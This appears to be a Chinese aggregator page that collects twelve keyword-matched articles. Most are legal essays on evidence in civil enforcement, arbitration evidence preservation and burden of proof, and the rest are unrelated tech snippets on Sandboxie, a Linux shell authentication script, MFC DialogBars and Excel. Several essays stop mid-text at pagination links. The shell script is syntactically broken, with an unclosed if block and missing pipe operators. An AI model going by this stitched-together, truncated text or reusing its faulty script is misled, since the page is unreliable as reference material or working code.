证据在强制执行程序中的证明内容

时间：2022-09-21 08:41:51 证明收藏本文下载本文

下面小编为大家带来证据在强制执行程序中的证明内容，本文共12篇，希望能帮助大家!

证据在强制执行程序中的证明内容

篇1：证据在强制执行程序中的证明内容

证据在强制执行程序中的证明内容

民事证据在民事诉讼活动中具有十分重要的地位民事案件审理，必须以事实为根据，以法律为准绳。那么，对于执行程序，证据是否具有同样重要的作用？实践证明，执行案件中只有正确地运用证据材料，才能规范执行工作，防止执行中出现盲目性、随意性，保证严肃执法，克服“执行难”。执行程序的基本任务是保证人民法院生效的法律文书和依法应由人民法院执行的其他生效法律文书所确认的权利得以实现。因此，执行程序中证据有其特定的证明对象，即申请执行人、被执行人或与案件有关的人所主张的事实。其主要内容如下：一、被执行人不履行义务的事实（一）执行人不履行法律文书确定的义务。根据民事诉讼法规定，被执行人未按执行通知履行法律文书确定的义务，人民法院有权查封、扣押、冻结、拍卖、变卖被执行人应当履行义务部分的财产、有权扣留、提取被执行应当履行义务部分的收入，有权查询、冻结、扣划被执行人在银行的存款。但被执行人不履行义务的原因往往是多方面的，既可能存在实际困难，又可能是法制观念不强。既可能是因疏忽大意而记了履行时间，又可能是故意拒不履行。只有查清被执行人不履行义务的事实，才能有针对性地采取适当的措施，保证案件的顺利的执行。（二）一方当事人不履行和解协议。在执行过程中，双方当事人经过自行协商，在法律规定的范围内达成和解协议并按照和解协议履行的，执行程序即告结束。和解协议达成后，有时会出现一方当事人翻悔的情况。如何解决这种争议呢？首先要查明和解案件的具体情况。实践中，双方当事人可以对生效法律文书确定的义务放体、给付内容、给付方式、履行期限等四个方面的内容进行变更。一方当事人翻悔，执行人员要根据变更的内容认真审查确认协议是否合法，查明翻悔的理由和目的，如有拖延执行或规避法律的.行为，要根据当事人过错责任情况，按照民事诉讼法的有关规定作出恰当的处理。（三）被执行人或第三人向法院提供执行担保，逾期不履行。在执行中，被执行人暂无偿付能力时向人民法院提供担保或者由第三人提供担保，并经申请人同意，人民法院可以决定暂缓执行及暂缓执行的期限。被执行人逾期仍不履行，人民法院有权执行被执行人的担保财产或者担保人的财产。正确运用执行担保必须从以下几个方面进行审查：1、执行担保必须在执行过程中由被执行或第三人提供；2、执行担保须经申请人同意；3、担保主体必须合格；4、担保必须提供担保物，他人担保应当具有代偿能力。（四）拒不返还财产。执行完毕后，由于据以执行的法律文书确有错误被依法撤销，对已被执行的财产，人民法院应当作出裁定，责令取得财产的人返还，如果拒不返还，人民法院可以强制执行。（五）申请人发现被执行人有其他财产。民事诉讼法第233条规定，人民法院采取了相应的执行措施后，债权人发现被执行人有其他财产的，可以随时请求人民法院执行。对债权人提供的发现被执行人有其他财产的证据，执行人员应当认真审查，及时采取执行措施。二、妨害民事诉讼的事实执行中妨害民事诉讼的行为也是执行证据证明的对象。从主体上讲他可能是诉讼参与人或其他人，也可能是有义务协助调查或执行的单位。因此，必须依照发事诉讼法的有关规定，查明和确认妨害民事诉讼的事实。这些事实主要包括：（一）两次传票传唤无正当理由拒不到庭。为了保证执行程序的正常进行，人民法院不仅需要传唤被执行人到庭进行必要的调查询问，查明被执行人的财产状况、偿还能力等。在执行实践中，有的被执行人为了逃避债务，对人民法院的传票、传唤视而不见，置若罔闻，有的传唤多次拒不到，妨害了执行工作的正常进行。因此，在执行程序中使用拘传，不仅能充分显示法律的威慑力，而且可以排除妨害，保障执行活动的正常进行。（二）哄闹、冲击法庭、侮辱、诽谤、殴打执行人员，扰乱执行秩序。（三）以暴力、威胁或者其他方法妨碍或抗拒人民法院执行。（四）隐藏、转移、变卖、毁损已被查封、扣押的财产等妨碍执行。（五）有义务协助调查、执行的单位拒不协助。如：擅自解冻或转移已被人民法院冻结的银行存款的；以暴力、威胁或其他方法阻碍司法工作人员查询、冻结、划拨银行存款的；接到人民法院协助执行通知后，给当事人通风报信，协助其转移、隐匿财产等。在实际运用民事证据中，有些执行人员对执行证据认识不足，运用证据的能力不强，如果只是采取老经验（查封、抓人）就可能导致有的案件久拖不决，甚至贻误“战机”，把易案拖成难案，把活案变成死案。因此，执行工作不仅要增强证据意识，而且要注重培养执行员灵活运用证据，解决问题的能力。总之，我们在日常的执行工作中，除了不断学习法律知识外，还必须注重证据的实用，重点掌握被执行人履行能力即财产状况的证据，如帐号、资金、动产、不动产等，以便从中选择最佳执行方案，对症下“药”，并且从中找出被执行人资金运转和收集证据的基本规律，只有这样，才能做到“事实清、措施大、效果好”，更快地提高业务水平和执行艺术。

篇2：试论程序公正在强制执行中的价值

试论程序公正在强制执行中的价值

一

程序公正，它是指在法律适用的具体动作过程中，充分保障当事人及其诉讼参与人的诉讼权益，力争体现司法过程的公正性。美国著名大法官F？福兰克弗特认为：“自由的历史基本上是奉行程序保障的历史”。法律程序作为一个按照法定方式，顺序和步骤形成的实体法律决定的过程，究竟应将什么作为其价值目标？对这一问题，一些英、美学者从揭示传统的“自然正义”和“正当法律程序”理念的思想基础出发，对法律程序本身的公正性和正当性进行充分研究，提出了一系列程序正义理论。这些理论认为，法律程序自身的公正、公平、合理被视为与程序所要产生的结果无关的独立价值，只有这些价值得到保障，那些因利益会受到程序结果直接影响的人才能受到公正对待，享有其作为人而应有的尊严和人格自治。

近年来，全国法院都在进行以强化庭审功能为重要内容的审判方式改革，审判工作的透明度和开放性日益增强。这些改革所贯穿的一个重要理念就是程序公正。当然执行程序与审判程序有所不同，在工作开展和权力运行规律上各有特色，权力属性也不完全一样，所承担的`功能也有所差别，日本诉讼权威三月章指出：“裁判是法院适用法律，追求公平、正义的理念，慎重地作出判决的行为，而执行则是执行机关在裁决及合法债权文书的前提下，追求迅速经济和适当理念而实施的旨在从事实上实现债权人权利的事实行为、实力行为”。但从两者内在的关系来看，执行权与审判权一样，是宪法和法律赋予人民法院的重要权力，是人民法院工作的重要组成部分。两者既有区别，又有联系。强制执行程序是民事诉讼程序的继续和发展，民事诉讼是强制执行程序的前提和基础。在执行工作中强化程序公正，坚持依法公正执行，是坚持司法公正的基本要求，是最直接的司法公正。对比之下，由于没有具体的操作规范，执行程序的公开性和透明度相对低弱，使得同属一种诉讼程序中两个不同阶段在强化程序公正方面出现了发展不均衡的态势。审判公开，执行不公开，诉讼程序的基本原则没有得到流畅、充分地贯穿和体现。因此在执行中是否应追求程序公正，其价值如何取向就成了一个值得研究的问题。笔者认为，虽然执行程序与审判程序是不同程序，但就程序公正而言应是两者所应共同追求的目标。在执行程序中强调程序公正，具有很大的积极意义。下面笔者着重就当前执行程序中存在的一些忽视程序，无视程序的一些现象及解决这一状态的一些思路作一探讨。

二

长期以来，我国法学理论界对程序法的价值基本坚持工具主义立场，认为审判程序仅为实体法的形式、手段，只具有工具性价值。在这种理论的广泛影响下，我国审判实践中普遍存在忽视程序、无视程序，甚至牺牲程序的现象。这种现象在强制执行中表现尤为突出。

（一）参与不全面。“程序公正最大的要素是参与，即指与案件相关的利害关系人要充分地参与到法院的司法活动中来，其目的是要影响到最后的结论。”程序公正要求裁决者在审判活动中确保有关受判决直接影响的人员必须直接而有效地参与，当事人已被给予充分、平等、有效的机会和手段来保护自己，因此，即使这一裁判使其蒙受了不利结果，当事人也能主动接受。

受计划经济体制塑造出来的超职权主义诉讼模式的影响，目前我国强制执行程序是一个职权主义色彩非常浓厚的程序，很多方面都是执行法官包揽一切，一方面这种包揽一切与法院执行力量、执行装备、费用极不相称，往往提襟见肘，包袱越背越大。同时也违背了司法工作的规律性和特殊性。另一方面，在司法实践中，执行程序往往成为了申请执行人单方参与的一项活动，缺乏必要的对抗和制约。如在执行程序启动初期，法院依权利人申请而启动执行程序，没有给被执行人一个抗辩的权利。执行法院对该案是否有管辖权；申请执行是否符合主体资格；申请执行期限是否过期；执行依据是否符合发生法律效力等，对这样一些直接涉及到当事人权力的内容，没有规定一个让当事人充分参与并发表意见的权利。同时在整个执行程序中仅仅规定了案外人异议的救济途径，而对被执行人就其执行中的权利侵

[1] [2] [3]

篇3：仲裁中的证据保全的条件和程序

想学法律？找律师？请上

hao.lawtime.cn 仲裁中的证据保全的条件和程序核心内容：仲裁中如何进行证据保全？首先仲裁中证据保全必须要符合相关规定，如证据有可能灭失的危险，证据存在有以后难以取得的情形，申请保全的证据是决定仲裁案件事实的主要证据等。那么如何进行证据保全程序？法律快车小编为您详细介绍仲裁中的证据保全的相关内容。

篇4：仲裁中的证据保全的条件和程序

（一）仲裁证据保全的概念及条件

仲裁证据保全是指在仲裁裁决作出之前，对有可能灭失或以后难以取得的证据，经当事人申请，由法院所采取的对证据加以保护的一种临时性的强制措施。证据保全在仲裁程序中具有重要意义，其可以有效地保护能够证明仲裁案件的事实证据，防止证据被灭失、毁损等情形的发生。因此，国际上及各个国家在仲裁法或相关的法律中均规定有仲裁中证据保全的条款。我国仲裁法第46条也规定，在证据可能灭失或者以后难以取得的情况下，当事人可以申请证据保全。仲裁中证据保全必须符合下列条件：

1、证据有可能灭失的危险。在仲裁程序中，有些证据如果不能及时收集、保存，就有灭失的可能，在仲裁审理中就无法有效发挥其作用，如证人因年老、疾病，有可能死亡；作为证据的物品有腐坏、变质或灭失的可能等，因此，证据有灭失的危险是申请证据保全的必要条件。

2、证据存在有以后难以取得的情形。有些证据随着时间的推移虽不一定有灭失的危险，但存在有可能难以取得的情形。例如证人即将出国留学、定居，就会使证据在庭审时由于不能及时取得而使案件事实无法得到证明，因此，证据存在着以后难以取得的情形或因素是申请证据保全的前提条件。

3、申请保全的证据是决定仲裁案件事实的主要证据，如果不及时保全将影响仲裁案件的处理。证据是证明案件事实的根据，证据的灭失或者难以取得将使得负有举证责任的当事人因无法举证而承担不利的法律后果。但是，在仲裁实践中往往对证明案件事实起主要作用或者决定性作用的证据，在面临有灭失或者以后难以取得的情形时才可以申请证据保全。如果证据不是主要证据或者对案件事实起决定性证明作用的证据，或者即使收集不到这些证据也不会影响案件的审理，就没有必要申请证据保全。

4、由当事人向仲裁委员会提出证据保全的`申请。按照现行法律的规定及世界通行的做法，证据保全必须由仲裁当事人申请，不论仲裁机构还是法院都无权直接采取证据保全措施。

有法律问题，上法律快车www.lawtime.cn/

想学法律？找律师？请上 hao.lawtime.cn

（二）证据保全程序

1、当事人书面申请。证据保全程序的启动，从当事人提出书面的证据保全申请开始。按照我国仲裁法的规定，当事人申请证据保全的。应当向受理仲裁案件的仲裁委员会提出证据保全申请。

2、仲裁机构向法院提交当事人的证据保全申请。我国仲裁法第46条规定：在证据可能灭失或者以后难以取得的情况下，当事人可以申请证据保全。当事人申请证据保全的，仲裁委员会应当将当事人的申请提交证据所在地的基层人民法院。第68条规定：涉外仲裁的当事人申请证据保全的，涉外仲裁委员会应当将当事人的申请提交证据所在地的中级人民法院。

3、人民法院审查并作出裁定。人民法院在收到仲裁委员会提交的当事人的证据保全申请后，经审查认为当事人的证据保全申请有充分理由，确有保全证据必要，应当及时作出证据保全的裁定。裁定中应明确：在何时、何地、以何种方法保全何种证据，存卷保管，以便仲裁庭调查使用。如果法院经审查认为不符合证据保全条件，即可驳回证据保全申请，并作出裁定，说明理由，同时通知仲裁委员会和当事人。

4、采取保全措施。人民法院在作出证据保全的裁定后，应当及时采取保全措施。人民法院进行证据保全时，可以要求当事人或者诉讼代理人到场。

有法律问题，上法律快车www.lawtime.cn/

篇5：如何记录程序在沙盘中修改的内容

沙盘（Sandboxie）是一个可以让程序运行在虚拟环境中的软件，在虚拟环境中运行的程序所产生、修改的文件和注册表项都会被记录到独立的虚拟文件中，而不会反映到实际的系统之中，以保证可能出现的威胁不会对系统产生任何影响，

很多朋友都喜欢利用沙盘来试用和测试新的软件，或者用它来制作绿色版本的软件。想要在找到程序在沙盘中创建的文件是非常简单的事情，可是想要找出程序在沙盘中对注册表做过什么操作就没那么容易了。

在Sandboxie 2.x的早期版本中，集成了一个名为RegDump的小程序，用它就可以很简单的将沙盘的注册表虚拟文件转换成普通的文本文件，从而查看其中记录的注册表修改信息。而2.x后期的版本一直到现在的3.x版，都没有了这个小工具，沙盘的注册表虚拟文件也发生了变化，即使你还有RegDump也无法进行转换。

那么，现在该如何才能查看和记录沙盘中注册表的变化呢？

我们可以使用一个名为“SandboxDiff”的小工具来实现所需要的功能，

下载到的SandboxDiff压缩包中应该有3个文件，分别是“SandboxDiff.chm”、“SandboxDiff.exe”以及“UserPath.bat.txt”。我们只需要用到后面的两个文件。

记得在执行下面这些操作之前，最好先清除沙盘中保存的内容，并且暂时先不要在沙盘中执行任何程序。

将这两个文件复制到沙盘的虚拟目录，也就是C:Sandbox目录下，然后打开UserPath.bat.txt，将其中的“”替换为你登录电脑使用的用户名，保存后再将文件改名为“UserPath.bat”。

然后以普通模式（非沙盘模式）运行SandboxDiff.exe，程序界面上显示的内容就是我们上面所做的这些操作，我们直接按回车就行了。

接下来程序会对沙盘中的数据进行分析，以供之后进行比对，完成后会显示“SETP2”的提示，现在我们就可以在沙盘中运行需要记录变化的程序了。完成后，终止所有沙盘中运行的程序，再返回SandboxDiff窗口，按回车键进行对比分析。

最后，我们会在C:Sandbox目录下得到5个新的文件，Comp-Reg.txt就是记录注册表变化的文件，Comp-Files.txt是记录文件变化的，而Comp-Reg.html和Comp-Files.html则是前面两个文件的网页版本。

篇6：证据展示制度在普通程序简化审中的运用

证据展示制度在普通程序简化审中的运用

[提要]

本文借鉴英美法系证据展示制度及法学界关于建立我国刑事诉讼证据展示制度的构想，立足于司法实践，在不突破现行法律的前提下，探讨证据展示在普通程序简化审中的意义、可行性及具体操作规程，以求推动普通程序简化审方式健康发展，并为证据展示制度的理论研究提供实证机会。

一、引言

证据展示（Discovery或Disclosure）一词来源于英美法系，又常被译为证据开示、证据公开等。按照《布莱克法律辞典》的解释，证据展示是一种审判前的程序和机制，用于诉讼一方从另一方获得与案件有关的事实情况和其它信息。刑事诉讼中的证据展示实际上指的是庭审前控辩双方相互交换、知悉所涉案件的证据及相关信息的制度。

以来，我国法学界有人主张引进证据展示制度，初衷在于解决刑诉法修订后辩护人因原有的阅卷权萎缩，难以在庭审中与检控方充分、有效对抗的问题，继而对证据展示制度在保护被告人合法权益，发现案件事实，提高审判质量及节约诉讼成本，提高诉讼效率方面的积极意义进行研讨，主张引进建立中国化的证据展示制度。法学界是把证据展示制度作为一项全局性的、独立的诉讼制度改革来研究的，主张控辩双方证据全面展示，这与刑诉法第三十六条关于辩护人只有对检控方部分证据享有庭前知情权的规定相冲突，其主张的证据展示适用于所有案件（无论案件难易、被告人是否认罪）又会给司法实践带来诸多可预见的弊端，因而，法学界的主张虽基本形成共识，但目前仍尚处于理论探索层面。

当前，对普通程序简化审方式的实践探索正在司法界尝试展开。简化审方式在降低诉讼成本、提高诉讼效率方面的巨大的积极意义已充分显露。

值得重视的是，公正与效率常常既相联又互斥，简化审方式本身也隐含有引发不公正的因素。简化审方式的通行做法是对事实清楚、被告人认罪的案件，庭审中在查明诉讼参与人身份、宣读起诉书、讯问被告人、示证质证和法庭辩论诸环节予以简化。其中，由于简化庭审中示证环节，被告人及辩护人对检控方证据尤其是证据中包含的具体细节缺乏全面的了解，难以开展有效的质证，不利于被告人、辩护人辩护权利的行使，也使法官当庭形成的对案件事实的'认定失之粗疏。如果当庭宣判（实务界多主张采简化审方式审理的案件力求当庭宣判），则裁判的公正性、尤其是量刑的适当性会受到影响，设若不当庭宣判，而由法官在阅卷后定期宣判，则又与简化审方式提高效率的目的不符。兴利与除弊是一项成功的改革不可或缺的两翼，故而，有必要为简化审方式设定一个相应的能够防止以上弊端的配套措施。切实可行的做法就是借鉴英美法系证据展示制度的成熟经验，吸收法学界的理论研究成果，在不突破现行法律规定的前提下，对我国现行法律和司法解释中包含有证据展示意蕴的规定加以扩展和具体化，构建一套适用于简化审方式的狭义的证据展示制度。狭义的证据展示制度的构建既关系到普通程序简化审方式的成败，也为广义的证据展示制度研究提供了一个实证机会。

二、简化审方式中证据展示的主体

（一）证据展示的责任主体在英美两国都经历了一个由单向展示（检控方向辩护方展示证据）到双向展示（控辩双方相互向对方展示证据）的演化过程。采用准当事人主义诉讼模式的日本和意大利在证据展示上亦坚持对等互惠的原则，实行控辩双方双向证据展示。

（二）在我国，依照刑诉法的规定，自人民检察院审查起诉之日起，辩护人可以查阅、摘抄、复制案件的诉讼文书、技术性鉴定材料，自人民法院受理案件之日起，可以查阅、摘抄、复制本案所指控的犯罪事实的材料。据此，可以认为检控方是当然的证据展示主体。

（三）关于辩方（被告人和辩护人）是否负有向控

[1] [2] [3]

篇7：在LinuxShell程序中进行身份验证

来源：www.hutuworm.org

一.缘起

Linux系统管理员常常碰到的头痛问题是，在确定系统没有被入侵的前提下，不知道哪个人不小心运行了某个特定用途的Shell程序，把系统搞得一塌糊涂，而且，系统记录显示该人使用的是公用帐号（root或者admin），你无法知道这个人在现实生活中具体对应的是哪一人。

二.开场

针对以上问题，解决方案有二：其一，追查时间和ip，根据时间和ip，可以追查到该人是从哪里出来的。这套解决方案只能确定以某人为首的一群可疑人。if大家都是通过代理连服务器的话，那除了one by one查log之外更无良策了。其二，在Shell程序中通过身份验证记录log，明确责任。

三.求解

本文利用Qmail作者D. J. Bernstein大师编写的checkpassword工具进行身份验证。

1. 下载：

cr.yp.to/checkpwd/checkpassword-0.90.tar.gz

2. 安装：

tar xvfz checkpassword-0.90.tar.gz

cd checkpassword-0.90

make

make setup check

3. 如果可执行文件checkpassword没有在/bin下出现的话，goto 1

再加上下面这段程序就大功告成了：

－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－

#!/bin/sh

# Filename: auth.sh

# Author: hutuworm

# @Copyleft hutuworm.org

function auth_failed {

echo “你耍我啊？”

exit 1

}

echo “※※※※※※※※※※※”

echo “※猪圈重地闲人莫入※”

echo “※※※※※※※※※※※”

printf “请输入帐号：”

read ACCOUNT

if [ $ACCOUNT = 'admin' -o $ACCOUNT = 'root' ]

then

echo “本圈不欢迎admin&root！”

exit 1

printf “请输入密码：”

stty -echo

read PASSWORD

stty echo

echo “”

printf “$ACCOUNT$PASSWORDY123456” /bin/checkpassword logger “$ACCOUNT used auth.sh” 3<&0 auth_failed

echo “欢迎光临糊涂馋寺附属斋堂之猪圈！ :P”

－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－

四.验收

$ chmod +x auth.sh

$ ./auth.sh

※※※※※※※※※※※

※猪圈重地闲人莫入※

※※※※※※※※※※※

请输入帐号：hutuworm

请输入密码：

你耍我啊？

$ ./auth.sh

※※※※※※※※※※※

※猪圈重地闲人莫入※

※※※※※※※※※※※

请输入帐号：admin

请输入密码：

本圈不欢迎admin&root！

$ ./auth.sh

※※※※※※※※※※※

※猪圈重地闲人莫入※

※※※※※※※※※※※

请输入帐号：hutuworm

请输入密码：

欢迎光临糊涂馋寺附属斋堂之猪圈！ :P

$ tail -1 /var/log/messages

May 5 13:51:45 hutuworm.org 5月 5 13:51:45 logger: hutuworm used auth.sh

篇8：在对话框程序中插入DialogBar

在对话框程序中插入DialogBar

作者:徐建鹏

下载本文示例源代码

程序运行效果图如下:

在基于MainFrm程序中加入DialogBar很方便，大家都知道，DialogBar有着工具条无法比拟的优越性，它可以任意放置控件，轻松实现如WPS OFFICE的导航功能，但是在基于Dialog的程序怎么实现这种导航功能呢？本文拟针对这个问题提出解决的办法，将困扰本人很久的问题的解决方法和大家一同分享。

大家都知道，CDialogBar不能在Dialog程序中产生的原因是Dialog中没有MainFrm，所以我就从CMiniFrameWnd产生了自己的一个类CMyMiniFrm。

BOOL CMyMiniFrm::OnCmdMsg(UINT nID, int nCode, void* pExtra, AFX_CMDHANDLERINFO* pHandlerInfo) { // pass those up in the dialog to leave the OnUpdateUI mechanism to flow BOOL br = GetParent()->OnCmdMsg(nID, nCode, pExtra, pHandlerInfo); // leave the default proc to handles the tooltip updating mechanism CMiniFrameWnd::OnCmdMsg(nID, nCode, pExtra, pHandlerInfo); return br; // return what the parent returns}

然后，我们可以从Cstatic产生自己的生成Cdialog类了，其中创建CDialogBar的代码如下

void CStTbar::PreSubclassWindow() { CStatic::PreSubclassWindow(); RECT rt; GetWindowRect(&rt); GetParent()->ScreenToClient(&rt); // hide the place holder, no not destro it I need it to rerout the messages ShowWindow(SW_HIDE); // make it on the heap as long CMyMiniFrm::OnNcDestroy call ''delete this'' // save me to map one more message m_minifrm = new CMyMiniFrm(); m_minifrm->Create( AfxRegisterWndClass(0,0,0), “”,WS_VISIBLE|WS_CHILD,rt,GetParent()/*of placeholder*/); { // Initialize dialog bar m_wndMyDialogBar if (!m_wndMyDialogBar.Create(m_minifrm, GetDlgCtrlID(), CBRS_RIGHT | CBRS_TOOLTIPS | CBRS_FLYBY | CBRS_HIDE_INPLACE, CG_ID_VIEW_MYDIALOGBAR)) { TRACE0(“Failed to create dialog bar m_wndMyDialogBarn”); return; // fail to create } m_wndMyDialogBar.EnableDocking(CBRS_ALIGN_LEFT | CBRS_ALIGN_RIGHT); m_minifrm->EnableDocking(CBRS_ALIGN_ANY); if(rt.right-rt.left >rt.bottom-rt.top) m_minifrm->DockControlBar(&m_wndMyDialogBar,CBRS_ALIGN_LEFT); else // dock verically m_minifrm->DockControlBar(&m_wndMyDialogBar,CBRS_ALIGN_RIGHT); m_minifrm->RecalcLayout(); //m_minifrm->DockControlBar(&m_wndMyDialogBar); }}

然后，我们还要解决消息传递问题，

void CStTbar::PreTranslate(MSG* pMsg){ // forward this to the toolbar // if(m_wndMyDialogBar.IsWindowVisible()) m_wndMyDialogBar.OnUpdateCmdUI(m_minifrm,TRUE);}

这样一个在对话框中产生DialogBar的类基本完成。

然后在要使用DialogBar的对话框中增加一个STATIC控件，定义成和准备当作DialogBar使用的Dialog一样的ID号，再给STATIC控件增加CstTbar型的Contrl变量,就可以使用了。

另外，我们只要为该DialogBar创建一个类，在该类中就可以像操作普通对话框一样在ClassWizard中对各控件进行操作或处理各种消息。

篇9：在excel中如何输入内容

在excel中如何输入文本内容

在Excel 中，输入的文本通常指字符，或者是任何数字和字符的组合，所有输入到单元格内的字符串，只要不被系统解释为数字、公式、日期、时间和逻辑值，Excel2010都会将其视为文本，

按【Ctrl+0】组合键，打开一个Excel工作簿，将鼠标定位于需要输入文本的单元格中，如下图所示。

选择一种合适的输入法，输入相应文字内容，如下图所示。

输入完成后，按【Enter】键确认，即可在单元格中输入文本，如下图所示。

篇10：民事诉讼证据在适用中存在的问题

民事诉讼证据在适用中存在的问题

一、证明责任的属性与司法解释内容的兼容

证明责任，又称举证责任，是指当事人就诉讼上的特定待定事实，根据证明责任分配规则，为了满足法官形成某种确信心证的需要所应负担的相应责任。我国民事诉讼证据制度中仅管以“谁主张，谁举证”的责任原则为基本点，但法官都以裁判者的角色居中裁判，享有“心证”的职权。证明责任又分为行为责任和结果责任，证明责任是指当事人为避免不利裁判所承担风险而向法院提供证据证明其主张的事实存在的……

所谓结果责任，亦称客观的证明责任，或称实质上的证明责任，它指当诉讼进行到终结而案件事实仍处于真伪不明状态时，主张事实的人则要为此承担不利的诉讼后果。对行为责任的履行，其目的是为了防止结果责任出现。承担结果意义上证明责任的可能性的存在，是促成当事人必须履行行为意义上的证明责任原因。该种原因可以从两方面加以分析，承担行为责任的系在原因是法律规定当事人对自己的所主张的事实应当提供证据证明，其内在原因是为了避免当出现事实真伪不明状态时对其可能造成的不利诉讼后果。行为责任的履行正是适应了这一裁判机制。因此，当事人在提供证据证明他所主张的事实，并为法院所接受之后，即履行了行为责任，其法律效果是避免承担不利的诉讼后果。

由此可知，证明责任在本质上具有双重性，即行为意义上的证明责任和结果意义上的证明责任，前者指当事人对所主张的事实负有提供证据的责任；后者指当事实处于真伪不明状态时，主张该事实的当事人所承担的不利诉讼结果。所以，证明责任的法律性质为败诉风险负担。

二、对当事人证明责任的司法救济与限定

在诉讼上由于实际证据裁判主义，凡当事人提出诉讼请求，必须就这种诉讼请求所根据的事实主张提出证据加以证明，凡未能提供证据或者提供的证据不足以证明其事实主张的，该诉讼请求就不能得到裁判上的支持。

《民事诉讼证据若干规定》更加明确了当事人的证明责任以及不能提供有效证据证明其事实主张所应当承担的不利诉讼后果。据此，应从证明责任的角度将审判上所认定的案件事实与客观上所实际发生的那种事实在一些情况下相互区别，以客观地反映诉讼论在审判上的这种特殊性。为此，《规定》第3条针对我国目前当事人证明意识和证明能力上所出现的薄弱环节，要求人民法院应当在诉讼上负有向当事人阐明证明的要求及其法律后果的职责，以促使当事人在合理期限内积极、全面、正确、诚实地提供证据。

在民事诉讼中，当事人对提供证据证明其事实主张的行为能力将在相当程度上直接决定着诉讼后果。我国目前法官的总体素质尚无法保障在当事人因客观因素证明能力受限制时，一方面予以必要救济，另一方面还要同时保障在诉讼上给双方当事人提供平等攻击与防御的机会。当事人委托律师为其诉讼代理人的，经当事人申请，人民法院可以签发调查令，由委托律师调取证据。调查令因故未使用或者被调查人不能提供证据的，应当在调查令的有效期间届满后缴还人民法院，并说明未使用或者被调查人不能提供证据的情况。作为诉讼证据的合法性问题，由作为一方当事人的律师前去调查，收集是欠妥当的，因为，由法官发出的这种命令，应针对诉讼外的第三人，而由一方当事人的律师持有这种命令向诉讼外第三人收集、调查证据，将有损司法的权威性，还极有可能危及有关证据来源的可信度。《规定》第17条对此作出了明确的规定：“符合下列条件之一的，当事人及其诉讼代理人可以申请人民法院调查收集证据：（一）申请调查收集的证据属于国家有关部门保存并须人民法院依职权调取的档案资料；（二）涉及国家秘密、商业秘密、个人隐私的材料；（三）当事人及其诉讼代理人确因客观原因不能自行收集的其他材料？这些特殊的例外情形，并不等于人民法院由此而成为证明主体或者举证主体，并且即使由人民法院依照当事人申请调查收集的证据，也是作为提出申请的一方当事人所提供的证据来看。

三、当事人证明责任的免除与启动程序

我国《民诉法》第64条明确规定了“谁主张、谁举证”这一原则。但在审判实践中，并非为当事人主张的所有事实都需要提供证据加以证明，有些情况下，对某些事实不需证据证明即可被视为真实，并免除有关当事人的证明责任。在这种情况下，法院依职权对有关当事人的事实主张采用司法认知，从而导致免除该有关当事人证明责任的.诉讼效果的产生。法律规定当事人对自己提出的主张承担证明责任，其目的是通过当事人的证明能力，帮助人民法院查明案件事实，分清是非责任，正确处理案件。如果案件中的某些事实已经清楚，不必再由当事人负责证明，则可免除当事人的证明责任，证明责任的免除也是民事诉讼证据制度的重要内容。此外，该司法解释第8条所规定的当事人的处认亦应当属于免除相对一方当事人证明责任的范畴。

当人民法院对某一事项采用司法认知时，势必在当事人之间的抗辩对峙关系上造成某种失衡状况。因为，司法认知的采纳，意味着有关事实不需证据即可被认为系一种真实，从而免除了有关当事人的证明负担。根据《规定》第9条2款，除了第9条1款（二）项规定的自然规律及定理外，在当事人有相反证据足以推翻这些事实的情况下，这些原本属于负证事实，将按证明责任分配规则由当事人恢复其证明责任，以便于相对一方当事人提出的反证相抗辩，其反证是否能够构成足以推翻原免证事实，则由法官根据自由心证作出判断。所谓无需举证，是指在审判上免除了当事人的证明责任或证明负担。在诉讼效果上，产生这种负证事实应当与法官依职权在审判上予以认知或接受这些事实为真实来看待，其效果是，无需当事人的提供证据以及经过法庭辩论便可直接将这些事实作为裁判的基础。

由法院依职权采用司法认知，其对象一般限于应当予以认知的那些事项。而属于法院可以予以认知以及当事人认为应当属于认知范围的事项，一般以当事人的主动申请为条件。在立法上应当明确法官采用司法认知的程序规则，除了法官可依职权对某事项直接进行司法认知外，还应允许当事人就与待证事实有关的事项申请采用司法认知，同时赋予相对一方当事人享有抗辩权。

根据我国现实国情与证据法的法理，对于免证事实应当设置相应的操作程序。对于众知的事实，自然规律及定理，当事人的自认，可由法官依职权加以认定；对于推定事实，已为法院发生法律效力的裁判所确认的事实，已为仲裁机构生效裁决所确认的事实，已为有效公证文书所证明的事实，由当事人申请法官予以认知，当事人在申请时，应当提供必要的证据或信息材料。另外，在一定条件下，对于有关特殊定理以及当事人的自认，亦可采取由当事人申请认知的方式。

四、当事人证明责任分配的基本原则

我国的《民事诉讼法》第64条1款规定：“当事人对自己提出的主张，有责任提供证据？此条规定设定了证明责任分担的一般原则。但是，仅此一项原则性规定，显得过于笼统，可操作性不强。《规定》指出：“案件的同一事实，除举证责任倒置外，由提出主张的一方当事人首先举证，然后由另一方当事人举证。另一方当事人不能提出足以推翻前一事实的证据的，对这一事实可以认定；提出足以推翻前一事实的证据的，再转由提出主张的当事人继续举证”。然而，这一解释中有关证明责任分配的设置，是在处理当事从在证明时的主张责任与行为责任之间关系，以及产生的相应的后果，仍然不能圆满地解决各种纷繁复杂的证明责任分配问题，如果在实践中当待证事实处

于积极和消极状态时，仍按证明责任的一般规则就当事人的主张责任来分配证明责任或负担，在许多情形下是显失公平的。

民事诉讼中证明责任分配的问题非常复杂，在审判实践中的一些特殊情况下，存在看不属于法律和司法解释规定的证明责任倒置，依照证明责任分配的一般规则又无法确定证明责任负担的情形。为此，《规定》第7条规定，在这种情况下，由人民法院根据公平原则和诚实信用原则，综合当事人证明能力等因素确定证明责任的承担。该条规定是在有关法律、司法解释的适用前提基础上，赋予法官据情根据民法的基本原则和相应的规则，决定有关证据的证明责任分配的权力，是法官享有一定幅度自由裁量权的体现，该条规则的具体适用是有层次的效力性和适用前后顺序的排列性，只有出现了有关法律没有规定的情形，并且《规定》和其他司法解释仍无法具体确定当事人的证明责任负担时，法官按照审判职能又不得拒绝裁判，只有在这种情形下，人民法院才可以根据民法上的公平原则与诚实信用原则，并结合当事人的证明能力等因素来具体确定证明责任的具体分配。有的因素属于主观因素，有的属于客观上的因素，当一个涉及相同的待证事实时，一方当事人所主张的合同内容系采用口头方式订立的，相比较就证明难易程度而言，后者所遇到的难度应当大于前者；再如，与证据的远近距离而言，当患者主张医疗机构并未对症下药，造成巨额医疗费用而构成侵权时，就这一待证事实而言，医疗机构较患者更接近于有关证据。

篇11：在执行程序中如何追加被执行人配偶

在执行程序中如何追加被执行人配偶

郑闻胤

